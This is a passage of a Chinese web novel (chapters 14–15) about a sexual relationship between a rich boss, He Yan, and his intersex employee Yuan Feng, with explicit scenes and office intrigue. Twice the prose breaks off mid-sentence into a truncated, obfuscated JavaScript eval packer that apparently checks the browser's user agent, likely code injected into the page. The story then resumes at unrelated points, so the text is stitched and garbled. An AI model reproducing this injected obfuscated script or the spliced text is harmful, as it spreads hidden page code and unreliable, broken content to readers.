上车后,他问贺总:“明天开始,我能骑电动车上下班不?” “想骑就骑吧。”贺颜叮嘱道,“自己注意安全。” “谢谢贺总!” “嘴上说谢谢就完事儿了?” “……”元丰犹豫了好一会儿,“贺总,我再给来个一条龙服务吧。” 贺颜不太信这小子:“什么龙?说清楚了。” 元丰不再犹豫,快速说道:“就那档子事儿呗,给你搓个背吃个那啥的,完了再……前面不行啊,还没好利索,只能后面。” 贺颜相当满意:“今天倒挺自觉。” “职责所在!”元丰回道。 14. 第 14 章 车里很安静,元丰手机没电了,坐着有些无聊。他盯着中控台看了会儿,又看向正在开车的男人,随口问道:“贺总,你这车多少钱啊?” “又想要车了?” “不要,我就是好奇问一下。” “三百多万。” 元丰这回倒没被财大气粗的贺总给吓着,毕竟助理都能开一百多万的豪车,这个价位也挺正常。 自打认识这个男人,他的接受能力好像变强了,颇有种视金钱如粪土的感觉。 想当初签个二三十万的订单,还会激动得睡不好。这笔钱在贺总眼里,怕是毛毛雨吧…… 元丰不禁感慨道:“这么多钱,我到死都不一定能花完。” 贺颜笑了,打趣道:“你这人生刚起步,不吃不喝睡大街?” “我骗你干啥?”元丰知道贺总跟自己不是一个层次的人,他说,“我老家镇上的二手房特便宜,一平还不到两千,两室一厅才十几万。地段稍微有点偏,买辆摩托车就行了,摩托车也花不了几个钱。” “这不是有房有车了吗?剩下那么多钱,当然花不完啊。吃喝拉撒又不贵,再说了,我还上班挣钱呢。” “你这有房有车的标准,忒低。”贺颜就是干这行的,元丰说的房子不用看都能猜到什么样。 “对你来说肯定低啊。”元丰自顾自说道,“我觉得挺好,以前还想着等攒够了钱,就找个这样的小地方安逸到老,多好啊。” “不是想在这儿买房么?”贺颜问。 “是啊。”元丰一顿,“现在不着急了,我先努力攒钱。” 贺颜笑着提醒:“床上好好表现,能攒快一些。” “……” 关于买房,已经是他认识贺总之前的想法了。元丰那会儿想处对象,有房才有家,大城市机会多挣得多,就此安家也不错。 可他始终跨不过心理障碍,总觉得会遭人嫌弃再被嘲笑,连试着跟女孩子相处的机会都没给自己留过。 现在又跟男人搞在一块儿,他感觉彻底没机会了。其实没有也好,有了反而耽误别人。 原本还不能接受的调职,似乎成了新的转折点。等去了分公司,多奋斗几年攒些钱,再回老家买个小两居,偶尔上小梅小秋那儿串串门。 元丰四处扫了一圈,地下车库里静悄悄的。他加快步伐追上前头的男人,打起商量:“贺总,晚上就做一回,行不?” “不行。” “昨天都超负荷了,我担心你的身体啊。” “刚才谁夸我身体好来着?”贺颜一把揽住元丰的小身板。 “身体好也不能瞎造啊!纵欲过度容易肾亏,回头该吃肾宝颗粒了。”元丰刚说完,搭在肩处的那只大手摸上了他的脸,紧跟着疼痛来袭。 “啊……疼!我错了!” “这嘴,忒他妈欠抽。”贺颜拥着元丰往前走,语气中带了几分警告,“回去再收拾你。” “……”元丰真怕贺总像昨晚一样压着他折腾个没完,立刻讨好,“贺总,我刚才说我自己呢。你这么厉害的chi久度,肯定亏不了。” 贺颜深知这小子什么胡话都张嘴就来,故意问:“喜欢么?” “喜欢啊。”元丰脱口而出。 “行,我知道了。” “啊?” “今晚让你喜欢个够。” “……别啊。” 贺颜没搭理小情儿,刚按完电梯上行键,腰间突然多了一双细胳膊。 元丰连电梯都不想进了,一把抱住吃软不吃硬的男人,开始卖惨:“贺总,我今天做了一天的表,眼睛都快瞎了。明天还一堆事儿要做,你行行好,我都答应给你那啥了……只来一炮,好不好啊?” 贺颜今晚就没打算做,纯粹是吓唬这小子。不过此刻他倒是来了兴致,打上一炮也挺好。 元丰等不到回应,直接往贺总身上倒:“哎哟,我这头怎么还有点晕了,可能是看电脑看久了,乏得很。” “怎么个意思?让我抱你上去?” “啊,我就靠一会儿,今天上班太累,没啥精神。” 贺颜正要说话,到达负一楼的电梯门开了。 电梯里的一家三口看到门外有两个男人抱在一起腻歪,着实一惊。 元丰被略微吃惊的眼神给刺激得脑子瞬间炸了,他慌得立刻松开手,猛地推开身边的男人。 等那对夫妻拉着孩子离开后,贺颜重新按开电梯。他走进去,见外面的人还在发呆,催促道:“还不进来?” “……”元丰回过神,灰溜溜地走进电梯。 陌生人的出现,让他清醒地意识到自己刚才在干什么。他举起双手看了看,想不明白怎么就那么顺其自然地抱上去了,连场合都没看。 贺颜注意到小情儿的举动,没多说什么。 元丰不知道那对夫妻会不会以为他是同性恋,答案显而易见了。 都能跟男人搂搂抱抱的,怎么会不是?以后如果在小区里偶遇,对方会怎么看待他?这么大的高档小区,应该不会有闲言碎语吧…… 电梯到达十六层,贺颜先走了出去。到门口时,他听到身后传来元丰的声音。 “贺总,你这同性恋是天生的不?有没有被人歧视过啊?” 幼儿园时期的贺颜,还能勉强跟女孩子一块儿玩游戏过个家家什么的。到了小学,那是唯恐避之不及,没什么特别的理由和阴影,单纯不喜欢。 青春期的他身高腿长,相貌出众,是学校里的风云人物。不谈家世背景,光外在条件已经超越大部分同龄人。 所以这么些年下来,别说受到歧视,上赶着的倒是一个接一个。即便真有歧视或看不惯的,也不敢当他面议论。 他打开门,简短地回了两个字:“没有。” 元丰问出口就后悔了,贺总这个级别的有钱人,谁敢歧视到跟前啊?现在不都看钱办事儿吗?而且大城市的接受度更高一些。 不过问出口了,他只能顺着说下去:“我想也是,谁敢歧视贺总你啊。” 贺颜稍一琢磨,便能猜到怎么回事儿。他揽住元丰,拥着往屋里走,“别人的歧视能让你少块肉还是怎么着?有工夫想这个,不如想想怎么伺候我。” 元丰正难受呢,被贺总后面那句话给气到了。他闷声回怼:“你又没尝过被歧视的滋味儿……” 贺颜并不关心别人是否被歧视过,更没有开导小情儿的义务,这些都与他无关。 但元丰身体构造异于常人,严格来说是个畸形儿,受到的议论恐怕不堪入耳。 他难得耐着性子多说了两句:“你这是准备带着别人的歧视,活一辈子?” “……” 其实元丰很少会想那些不愉快的,电梯里那对夫妻惊讶的神情让他突然回忆起童年所遭受的歧视和嘲笑,他不喜欢别人用看怪物一样的眼神看他。 “三大生理欲望,刨去吃跟睡,还剩什么?”贺颜问。 元丰不知道贺总问这个干什么,他老实回答:“性啊。” “换个角度想,你能体验别人没有的。” “……”元丰秒懂,直接无语,他宁愿做个正常人。 “好了,赶紧把一条龙给安排上。”贺颜打开卧室门,拽着小情儿进了卫生间。 元丰情绪有些低落,见贺总开始解衬衣纽扣,他盯着那健硕挺拔的身材看了好一会儿,闷闷地问道:“贺总,如果老天现在送你一个批,你要吗?” “……”贺颜头回被噎得哑口无言,恨不得敲开元丰的脑瓜子好好瞧瞧里面到底装了什么东西。 “哪个男人会愿意身上长这玩意儿啊?像个畸形的怪物一样……”元丰刚才看见贺总皱眉了,他越说越难过,“我想长胡子,可它不出来。胳肢窝和下面也不长毛,一根都不给我长……不男不女的……” “我以前还老想,等我死了是不是连个收尸的人都没有……别人有家有孩子,我啥也没有……” “有时候想不明白,不知道这辈子活着图个啥,没奔头……” 越说越离谱,贺颜不知道这小子今晚抽什么风。他脱掉衬衣,把门口站着的人拉到跟前:“我看你是吃饱了闲的,把衣服脱了。” 元丰拽紧衬衣的领口,难过地说:“你根本不懂,我十二岁就——” “行了。”贺颜不想再听,敷衍道,“以后我给你收尸。” “……”元丰低头看着胸前那双正在给他解扣子的大手,忍不住回,“你大我那么多岁,谁给谁收啊?” “又欠收拾了?” “……” “自己脱。” “哦……” …… 脑子里却有一道声音在不停地提醒元丰:你忒不要脸了,不是一直很讨厌这玩意儿吗?怎么好意思放任自己享受。 贺颜头回觉得自己跟个老妈子似的,还管起小屁孩儿的心理健康。都到这份上了,他决定好人做到底。 身体传来的感觉越来越强烈,盖过外界的一切。元丰再也没憋住,闭上双眼仰头靠着墙,嘴里哼哼唧唧地发出声音。 “别人的歧视不重要,你先问问你自己歧视它吗?最嫌弃它的人是谁?” 来临之际,元丰浑身发颤,站不住的左腿也在打着抖,身体缓缓朝下跌去。 贺颜及时抱住要摔倒的小情儿,问他舒服吗。怀里的人没吭声,过了好一会儿才轻微点点头。 “哑巴了?用嘴说。” “……” 贺颜把人放开,皱眉道:“是男人就痛快点,扭捏什么?” 元丰垂着脑袋,小声回道:“舒服……” “现在两个选择。”贺颜语气多了几分严肃,“如果不能接受自己的全部,去医院把手术做了。想好了我给你安排医院,费用我承担。” 元丰吃惊地抬起头。 “具体得看检查结果,你先考虑清楚。” “贺总,你……”元丰张着嘴,问不出口。 贺颜听懂了,摸上他的脑袋揉了揉:“滋味儿确实不错,所以趁着考虑期间,得多来几回。” 眼前的男人好像有哪儿不一样了,元丰一扫低落的情绪,痛快答应:“好!” 今天收到的两张支票加上现有存款,已经凑够换肾的治疗费用,没准还能有富余。元丰现在看贺总就跟看大恩人似的,心里除了感激还是感激。对于是否要去医院做手术,他没考虑太久便做出了决定。 自打进入青春期,这些年里他不是没有纠结过,一方面嫌弃这副不男不女的身体,另一方面因为钱和担心手术的副作用,所以迟迟没下决心。 就像贺总说的那样,最嫌弃身体畸形的人是他自己,连自己都不能接受,怎么还敢要求未来的另一半去接受?幸亏拒绝了那几个喜欢过他的姑娘,没有错下去。 人生好比一场赌博,是男人就该痛快点,果断地做出选择。 在贺总出去接电话的工夫里,元丰已经想好了,这阵子请假有点频繁,再请不太合适。 他打算等熬到方远差不多能独立上手之后,赶在去分公司前请个大长假,去医院做个具体的全面检查。如果手术能做成功,接下来跑业务还方便些,想怎么跑就怎么跑。 贺颜打开卧室门,小情儿依旧光溜溜地坐在床上,一副乖巧模样。他走过去,问:“怎么还不睡?” “在等大老板过来。”元丰咧着嘴,“还没给贺总提供服务。” 贺颜笑了:“刚才还哭丧着脸,觉得生活没奔头,现在又乐了?” “生活就是这么一回事儿啊,累了觉得没奔头,睡一觉起来还得接着奋斗。过了就好了,我现在可有奔头了!”元丰嘿嘿一笑,“我刚才还想呢,要是手术能做成,等身体好利索了正好是冬天,我要做一件想了好多年的事儿!” 贺颜头回见到这样的元丰,白净的小脸上挂着笑,眼神中露出几分期待。 元丰等了有十来秒,憋不住了。他问:“贺总,你怎么不好奇我要做啥啊?” 贺颜大概能猜到,所以还真不好奇。看在这小子一脸期待的分上,他配合道:“想做什么?” “去澡堂子!”元丰有些激动,“以前冬天在出租屋里都不敢洗澡,忒冷。我老想去澡堂子里感受感受,一直不敢去。” 贺颜扫了眼元丰某处,伸手摸上去,“毛都没长,还敢进澡堂子?” 现在的贺总在元丰心里不光是大恩人,连变态的标签也自动消失。 他没有推开小腹下方的那只大手,乐和道:“回头挑个人少的时间段去,再说了我是男人,有啥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元丰大口咬着肉包子,没接话。他现在满脑子就是吃,吃饱了赶紧骑着新买的小车上班去。 贺颜盯着大口啃包子的元丰,皱眉道:“谁跟你抢着吃了?” “好吃!”元丰拿起勺子喝了两口粥,有些不得劲,索性直接端起碗喝,一口包子一口粥,吃得那叫一个有滋有味。 “……”贺颜喝了口咖啡,起身说,“骑车自己注意安全。” 元丰点头,边嚼边说:“贺总您放心吧,我都骑了多少年的电动车,技术好得很!” 贺颜没再多说,带着助理离开了。 初秋的小风吹着特别凉爽,元丰感觉又回到了从前的生活,看着街道两侧的樟树,连心情都变好了。 一到公司,他放慢车速,冲站在保安室门口的中年男人热情地打招呼:“早啊!孙师傅。” 保安挥了挥手:“哟,元经理买一新车?” “昨晚刚买的。”元丰笑着说,“我先进去了啊!” “得嘞,慢点儿!” 开会时,业务员们都发现一个问题。今天的元经理瞧着没之前那么严肃了,好像有喜事儿。 其实元丰并没有表现出自己的情绪,只不过平时装得太过严肃,才会导致今天的反差。 车轱辘话说完后,他特地问方远,这几天跑下来感觉怎么样,对跑业务这块还有哪些地方没搞懂的,可以提出问题。 方远很懵逼,不知道元丰葫芦里在卖什么药。他敷衍地汇报了下这几天的情况,说自己目前跑得挺好,还在适应中。 “嗯,不错。”元丰满意地点点头,“脸皮够厚。” 方远脸色一变,握紧拳头。 “作为一名合格的业务员,咱们最重要的是什么?脸皮厚是其一,有胆量才是最重要的。”元丰继续说道,“凡事熟能生巧,业务这方面也是。没有胆量,一事无成!尤其新手业务员,不光要有胆量,还得学会接受各种冷眼。方远,你这光有厚脸皮可不行,给我抓紧努力,别再吊儿郎当地混日子。” “……”方远的拳头是紧了松,松了紧,恨不得直接冲上去给元丰来一下子。 他严重怀疑对方是故意借着这个机会骂人,让他下不来台,等当上业务经理,自己的颜面何存? 他妈的,臭小子。 吃饭前,元丰拨通了二妹的电话,还没开口问情况,元梅先问他要地址了。 “小梅,要地址干啥?你别想着给我把卡寄回来。” “哥,爸妈不要。你把地址发给我,我明天上邮局给你寄回去。” 元丰就猜到会是这样:“别寄!我最近签了几笔大单,挣了不少。钱的事儿,都别发愁。你再好好劝劝,千万别给我寄回来。” “哥,你就告诉我吧。”元梅很为难,“爸妈不会要的,不寄也是给你存着娶媳妇儿用。肾病不是那么好瞧的,换了肾都不一定能好,钱还搭进去了……” “不换咋知道好不好?先上镇里医院待着,家里那个环境不好。” 换肾的后遗症元丰自然是知道的,也咨询过医生,但有希望总要去试试。 “哥,你别太担心。妈现在身体其实还行的,卡你先拿回去。” 元丰不知道该怎么跟父母沟通,他叹了口气说:“小梅,你也知道我这情况,你再帮着好好劝劝,等过年了咱们一大家子好好热闹热闹。” “哥……我知道的……对不起……” “哎哟,你跟我道啥歉?”元丰岔开话题,“我大外甥这两天好动不?” 电话那头的人笑了一声:“他今天上午动得可厉害了。” “好动,肯定是个调皮的大胖小子。” “哥,你过年真的回来吗?” “回啊。” “哥,谢谢你……” “一家人,还客气啥?再帮着好好劝劝,知道不?我先上班了,你自个儿也多注意身体。” “嗯,好。” 15. 第 15 章 方远驾驶着车行买来的二手宝马,路过电动车车库时,看到正在推车的业务经理。 他踩下刹车,冲窗外喊道:“哟呵,元经理还要亲自骑电动车?你那大奔呢?” 元丰懒得搭理傻缺,跨上电动车,丢下一句“跟你没关系”,直接骑走了。 早上开会那事儿到现在还没消化,被无视的方远越想越恼火。妈的,等当上业务经理,势必要给这个目中无人的小子好好上上课。 元丰又忙了一整天,终于把落下的活儿干完了。 回到家,桌上已经有保姆刘姨做好的四菜一汤。他用大碗装好饭菜端到茶几上,打开网络电视找到《甄嬛传》,边吃边看了起来。 “臣妾惶恐,姑姑教导过臣妾该如何侍奉皇上。却从未教导臣妾,该如何侍奉夫君。” “从来嫔妃侍寝都是诚惶诚恐,百般谨慎,连皇后也不例外。” “从来没有人对朕说过这样的话……” 元丰看得津津有味,这阵子空闲时间少,他才追到第八集,看到甄嬛侍寝后,不禁感叹:不愧是女主啊,把皇帝当夫君看待,卖个乖,这地位一下子就不同了。如果跟那些嫔妃一样,哪里还会被皇帝记在心上? 他不由得想起自己的遭遇,都没人教过他该怎么做,就被贺总给强行那啥了。爱情动作大片看了等于白看,现在回头想想,当初还不如乖乖配合,也不至于受那些罪。 看完第八集,元丰总结出一个道理。贺总就好比那九五之尊,多说好话多顺着点,肯定不会出错。 关键这都是他自己花心思琢磨出来的,要是早点把电视剧给看了,还浪费什么心思?直接学习甄嬛,把大老板当成夫君对待就行了。 明天还得上班,他没再继续看下去,洗完澡就上床了。 灯熄了没多久,外头突然传来关门声,大晚上的,“皇上”驾到了。 元丰估摸着贺总八成是来收昨晚欠下的那条龙,立刻爬起来穿上拖鞋,去了客厅。 贺颜刚换好拖鞋,听到脚步声转头看去,把刚出卧室的人从头扫到脚。 简约风的日系睡衣穿在元丰身上,透出几分青涩的少年感,让人眼前一亮。 元丰被盯得莫名其妙,低头看了看身上的睡衣:“我是不是穿着很怪啊?老在柜子里搁着,不穿就浪费了。” “不怪,挺合适。”贺颜收回目光。 “你们有钱人忒讲究了,睡觉还穿啥睡衣啊,我自己在家都背心大裤衩,不过这料子不错,舒服!”元丰走到贺总跟前,问道,“贺总,你是来要债的不?” “要什么债?” “一条龙啊。”元丰指指客厅墙上的挂钟,主动说,“现在还不到九点,要咱就赶紧开始,不要我就去睡觉了。” 贺颜一时没想起这茬,难为小情儿还惦记着。这送到嘴边的肉,哪有不吃的道理? 他摸上元丰的脑瓜子,笑着夸了句:“爱岗敬业,不错。” 听到低笑声,元丰觉得贺总其实还挺好哄的,只要积极配合就完事儿了。 新睡衣穿上身还不到半小时,又得脱光光了。许是心态有所改变,元丰耐心地伺候大老板洗澡,自觉蹲下去提供服务。 贺颜盯着乖顺的小情儿,被水打湿的黑发垂在额前,衬得那小脸越发白净。 他摸上元丰细软的黑发,五指插进去来回捋了两把,“今天真懂事儿。” 元丰只能含糊点头,唔了一声。 …… 贺颜正到兴头上,冷不丁被打断,憋着的火还没撒出来,小情儿猛地凑上来抱住了他。 元丰就猜到贺总要生气,对付这种吃软不吃硬的主,他现在是门儿清,所以第一时间把人抱紧,快速吹起螺旋屁。 “贺总,千万别生气啊。不是我不想,你这实在太雄伟了。刚才那一杵就跟拿擀面杖挑牙缝似的,我嗓子难受……咱们到床上去吧好不?我再给你来个刚学的马杀鸡。” 贺颜想起元丰穿着睡衣没说话时的样子,跟眼前这个嘚啵嘚的话痨真是判若两人。他推开怀里的人,抬手掐上那白净的脸蛋,低骂道:“忒他妈欠抽。” “……” “背过身去!” …… 他忽然意识到,这已经不是自己的初吻了。 * 元丰穿着质地舒服的蓝灰色长袖衬衣,下身是搭配好的深色休闲西裤。他一边梳头一边高举定型喷雾,在头顶上方来回喷了两圈。 镜子里的男人梳着成熟的背头,配上体面的着装,怎么看怎么有型,经理气质真是拿捏得恰到好处。 然而还没欣赏多久,一只大手突然按压在刚梳好的发型上,他想阻止已经来不及。看着被拨乱的头发,粗话没过脑子直接爆出口:“操,我他妈刚梳好的头啊!” “丑。”贺颜挤开占着位置的小矮子,拿起电动牙刷开始洗漱。 “……”元丰在公司里一直梳着这个发型,从没人说过他丑,小美还夸他帅气来着。 他不爽地回怼:“哪里丑啊,你啥眼神?” 贺颜看着镜子里的小情儿,被拨乱的黑发垂在额前,瞧上去顺眼多了。 这小子衣品差不说,审美也是一塌糊涂。 元丰怕贺总又弄他头发,快速打理好,离开了卫生间。 “先生今天真早哟。”刘秀珍笑着从厨房走出来,“包子快好了,再蒸个三五分钟。我先给你盛粥,今天熬的小米粥。” “啊,好的。谢谢刘姨。” “先生太客气了。” 平时的点起床,元丰基本见不着保姆,今天能碰上全赖卧室里那个正在刷牙的男人。 一想到不久前的动静有可能被刘姨听见,他顿时臊得不行,十分后悔这么早出来。 妈的,哪有人大清早就打P的?他这回没骂贺总是个变态,而是在心里骂起自己这副不听使唤的身体。 “屁股怎么样了?” 元丰正喝着小米粥,突然听到贺总的问话,恰巧刘姨又端着包子走过来。他被屁股俩字儿呛得一阵猛咳,嘴里的粥都喷出来了。 “哎哟,怎么还吃呛着了?我去倒杯豆浆过来。”刘秀珍放下盘子,赶紧回了厨房。 “一惊一乍的,什么毛病?”贺颜将桌上的纸巾扔过去,“擦擦你那嘴。” “……”贺总一提擦嘴,元丰再次想起昨晚那个接了很长时间的吻。 他慌乱地抽出两张纸巾在嘴巴上胡乱擦着,一边擦一边低声抱怨:“你是不是成心的啊?说话也不看场合……” “看什么场合?”贺颜反问。 “有人啊!” “谁?” “……” 元丰瞥了一眼对面的贺总,彻底闭嘴。直到把刘姨送上来的豆浆喝完,他都没再开过口。 难得的清净倒有些稀奇,贺颜揶揄一笑:“脸皮不是挺厚的吗?” “……”元丰吃不下去了,迅速推开椅子站起身。他拿过一旁的公文包,语气有些急,“我上班去了!” “七点一刻。”贺颜提醒道。 “我突然想起来,有个订单得再核实一下。”元丰胡诌完,冲男人露齿一笑,“贺总,您慢慢吃啊。我这儿着急,先走了。” 贺颜盯着那张笑脸,没再为难:“去吧。” 进了电梯,元丰才松一口气。他真想狠狠给自己来一拳,为什么要半推半就地答应早上那一炮?就该以上班为由直接拒绝,真是脑子进水了。 有了这个前车之鉴,他发誓下回绝逼不这样,就算醒了也要装睡到闹钟响为止。不能贪图一时的痛快,让刘姨看了笑话。 电梯一路直达地下车库,元丰没别的地方可去。他骑上电动车,迎着微凉的秋风,向公司出发。 到了业务部,时间尚早。元丰找到杨伟的位置,打开了桌上那台电脑。 电脑开机后,他先是查看最近的使用记录,公司内部的办公系统都没打开过多少回,全是些乱七八糟的。打开F盘,果然看到不少下载的电影和小说,还有好些不堪入目的视频。 这个吃里爬外的马屁精,到现在除了方远帮着签过的那一单,试用期内一点长进都没有,业务跑成屎。 元丰关掉电脑,琢磨着得在走之前,把杨伟这个混吃等死的给炒了。稍微动动脑子,也能猜到对方跟方远勾搭在一块儿的理由。 但他搞不懂黄总经理到底怎么想的,为了分公司的发展把自己调走,没什么错,可方远这种吊儿郎当的傻逼,调来业务部顶个屁用。 业务部的早会上,杨伟冷汗直流,搞不懂经理为什么一直盯着他不放,问完这个问那个,连他今天的行程都问得清清楚楚。由于事出突然,他支吾了半天,答不出个重点。 “咱们公司的试用期是一个月,但这合同签上了,不代表就能松懈。既然选择干这一行,就给我拿出奋斗精神来!” 元丰盯着最边上的男人,严肃道,“杨伟,待会儿把客户的回访记录送到我办公室来!” “……”杨伟有些虚,“经理,我知道了……” “散会!” 见经理回了办公室,杨伟小声问方远:“方哥,经理今天吃炸药了吗?” 方远冷哼一声:“他哪天没吃过?天天一副别人欠他的鸟样,操。一会儿你拿我的回访记录糊弄过去,再熬一个多月,他就滚蛋了。” “谢谢方哥!” 元丰翻看着手中的回访记录,头也没抬地说道:“杨伟啊,你在外面怎么跑业务,我管不着。只要你能签上单子,就是天天在家睡大觉都行。” “经理,我天天认真跑着呢……”杨伟及时说。 元丰将回访册子放在桌上,抬眼看向对方,冷声说道:“我再给你一个星期的时间,签不上单子,剩下的不用我说了吧?” “……” 杨伟就等着好大哥当上业务经理,然后跟在他屁股后头吃香喝辣,所以说什么也要忍到元经理调走。他低头回道:“经理你放心,我保证开张!” “嗯,出去吧。” “好嘞,我这就出去跑业务。” 元丰想不明白的事儿,在中午吃饭时有了答案。他没想到方远那个傻逼居然勾搭上了黄总经理的女儿,听说俩人处得特别好,如胶似漆。 “丰哥,我还是从马会计那儿听来的,怪不得总经理要调你走。”小美说到这儿,有些难过,“你一走,公司里都没人陪我吃饭了。” “就算没这个原因,我也会被调走。”元丰笑着说,“没事儿,哥有空回来看你。” “我知道跑业务很忙的,你肯定没时间。” “再忙,也有喘口气的工夫。”元丰给小美夹了个狮子头,“快趁热吃。” “谢谢丰哥。”小美笑吟吟地说,“那你答应我了,可得回来看我啊。我要求不高,陪我吃个午饭就行。” 元丰笑着点头:“好。” 陈硕最近的工作表现并不好,却突然收到一笔奖金。正琢磨缘由时,贺总的电话打进来了。 他立即接通,恭敬道:“贺总。” “抽空出去给那小子多买几身衣服。” “好的,贺总。” “鞋也别忘了。” “好的。” 简短地交代完,那头便挂断了。陈硕这才明白奖金为何而发,贺总说的抽空,自然不能拖太久。他吃完剩下的蛋炒饭,拿上钥匙出了门。 办正事之前,陈硕先去了一趟西装店,打算取回两套已经定制完成的夏款西服。 他刚走到门口,迎面碰上两张熟悉的面孔。 “我去,陈助理!”费凡笑着打起招呼,“真巧嘿。” “费先生。”陈硕礼貌地点点头,随后看向对方身边的男人,“李总好。” 李格随口问道:“给你们家贺总来取西服?” “是的。” “都自己人,弄得这么生疏干什么?”费凡自来熟地揽住陈硕,“走,一块儿进去。我正好要定做两身,你也帮着选选。” 陈硕想要避开已经来不及,他跟着费凡的脚步,在工作人员推开门时,主动做了个请的手势:“费先生,您先请。” “都说了自己人,客气什么?”费凡放下自己的胳膊,笑着走了进去。 李格目光直白地盯着站在门口的男人,原来机器人也是有反应的,还挺抗拒肢体接触。 他慢悠悠地走到陈硕旁边,故意自来熟地揽住他,笑道:“我不是你老板,别这么拘着。” “……” 出于礼貌,陈硕才打算让李格先进去。肩膀上的力道有些重,他被强行带进店里,就在忍无可忍的时候,那只手及时拿开了。 “你俩快过来啊。”费凡冲他们的方向挥了挥手。 “李总,贺总还有事情交代我去办,失陪了。”陈硕面无表情地说完,没给李格开口的机会,转身去了里间。 李格盯着陈硕的背影,没吭声。对方看似谦逊有礼,他却觉得不是这么回事儿。 因为没带元丰过来试穿成品,陈硕认真检查着细节,确定没问题后,他说:“可以了,包起来吧。” 工作人员热情道:“好的,请您稍等。” “这西服尺寸怎么这么小?”费凡走到陈硕身边,八卦道,“不会是给那个叫元丰的小子做的吧?” 陈硕没有回答,轻微点了点头。 “我操,真的假的?”费凡有些不敢相信,“贺总什么时候对小情儿这么上心了?” 陈硕不擅长应付这种话题,尤其还是贺总的隐私。他找借口说要去洗手间,成功躲避了费凡的追问。 下班前,元丰接到陈硕的电话。 现在已经骑车上下班,联想到昨晚和早上加起来的那两炮,不用猜也知道原因了。他起身把门关上后,才接通电话。 “元先生,晚上加班吗?” “不加。”元丰问道,“陈助理,是不是贺总晚上要过来啊?” “这个我不确定,贺总让我接你去金陵轩。” “又去啊?” “我大概十分钟后出发去锦西湾,到家请给我打电话。” “哦哦,好的。” 贺总又要请自己去金陵轩吃饭,元丰这会儿倒没不好意思,脑子里想着必须再点个酱肘子啃一啃,大号的螃蟹和龙虾就不点了,吃不完浪费。 他打开办公室的门,王越飞和马晓东已经回来了,正坐在电脑前录单子打电话。 除了那个混吃等死的,这些业务员,每个都挺叫人满意。 元丰拨通杨伟的电话,开始为期一周的例行查岗。得知对方还在外头卖力跑业务,他模仿着总经理的口吻,语重心长地说道:“杨伟啊,三天打鱼两天晒网能累积到什么?能混一辈子不?对待工作就该拿出积极向上的态度和敬业精神,不光是为了公司,也是为了你自己。” “经理你说得太对了,我今天一直在深刻反省,决定痛改前非,努力工作!” 尽管是屁话,元丰却鼓励道:“这一周的时间内,我希望能看到你的进步。” “保证完成任务!经理你放心!” “嗯。”元丰满意地点点头,“行了,你继续加油。” “好嘞!” 元丰看到汽车后备箱里的大包小包,惊了。他问:“陈助理,这些都是啥啊?” “贺总给你买的衣服,还有两套定制好的西服。”陈硕双手各拎五六袋,说,“帮我关一下。” 元丰关上后备箱门,伸手要接:“我来帮你吧。” “不用,拿得下。你去开电梯。” “……” 元丰帮不上忙,只好快速走进单元楼。他想不明白贺总干吗突然送这么多衣服给他,要不是陈硕提醒,他连那昂贵的六套西服都忘得一干二净。 进屋后,陈硕先将两套西服拆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“贺总要晚点到,你先吃。”陈硕推开木门,等元丰走进去才说,“我回去了。” 元丰刚才在车里就想跟陈硕探讨《甄嬛传》的剧情,可惜友谊的小船说翻就翻,他只好笑着说:“那行,你慢点儿啊。” “好的。” 贺颜推开包间木门,里面的人正抓着酱肘子的大骨头连嘬带啃。他从不爱吃这种肥腻的酱肘子,可看小情儿吃得那么香,不光来了食欲,□□也跟着上来了。 除了吃肉,元丰觉得骨关节上面的那一层脆骨和筋是酱肘子的精华所在。 配上浓郁的酱汁,就得大口啃,啃到嘴里再使劲嚼,越嚼越有劲,还香。 他啃得忘我,余光瞥见来人,赶紧放下骨头,说道:“贺总,你怎么又来晚了?我都快吃饱了。” “有点事儿耽搁了。”贺颜走到元丰身边坐下,笑着问,“酱肘子好吃吗?” “好吃!”元丰用湿巾擦去手上的酱汁,拿起贺总面前的碗,“我先给你盛饭,再不吃都凉了。” 小情儿体贴懂事,贺颜很满意,接过那碗装好的白米饭,安静地吃了起来。 元丰继续啃骨头,边啃边问:“贺总,我发的短信你看见没啊?” “看见了。” “那你怎么不回我啊?” “懒得回。” “……”元丰又问,“那短信内容你看了没?” “看了。”贺颜简短道,“扔掉。” 元丰可舍不得扔自己的衣服,他岔开话题:“贺总,今天陈助理给我送来的那些衣服能不能退了啊?” “退什么?这个天穿正合适。”贺颜知道这小子啰唆起来没完没了,“真想谢我,晚上好好表现。” “哦……”元丰想说就算没有新衣服,自己也不会再拒绝,除了早上打炮之外。 他放下啃干净的骨头,拿起桌上的大螃蟹说道:“贺总,我给你剥蟹肉啊。” “还挺会来事儿,剥吧。” 吃饱喝足后,贺颜一分钟都没耽搁,带着小情儿离开了包间。 刚走出餐厅,碰上几个正在道别的人,他停下脚步,将车钥匙递给元丰:“露天车位第一排,自己找找,在车里等我。” 元丰不明白什么情况,他接过钥匙,察觉到前方投来的视线。人群中,一位穿着得体,精神十足的中年女性看了他一眼,很快又转开视线。 贺颜催促道:“快去。” “哦哦。”元丰小跑着离开了。 对于儿子是同性恋的事实,接受是一回事,可亲眼看见又是另外一回事,何况还是无奈接受。 闵兰瑛挥别老友,独自走到边上。等儿子到跟前,她数落道:“你说你——” “妈,打住。”贺颜知道老太太又要开始啰唆,及时打断。 他说:“我是真没想到您今晚过来吃饭,下回肯定错开时间。” “是错开时间的问题吗?”闵兰瑛瞥了儿子一眼。 “您说得对,下回我不来了。” “你这孩子……” 贺颜赶紧岔开话题:“妈,您怎么回去?司机来了吗?” “一会儿就到。”闵兰瑛叹了口气,问道,“那个年轻人,是刚处上的对象吗?” 贺颜敷衍地点点头,“嗯。” 虽然不喜欢,可闵兰瑛还是心疼儿子,希望他将来能遇上合适的人生伴侣。她语重心长地说道:“你的事儿,妈管不了,你好自为之。” “一直都挺好,您放心。” 元丰跑了十来米远,忍不住回头看了下。贺总跟那个中年女性站在边上的角落里,俩人正在聊天。怪不得把自己支开,原来是认识的。 他回想起刚才的眼神,心里不禁猜测,那人不会是贺总他妈吧? 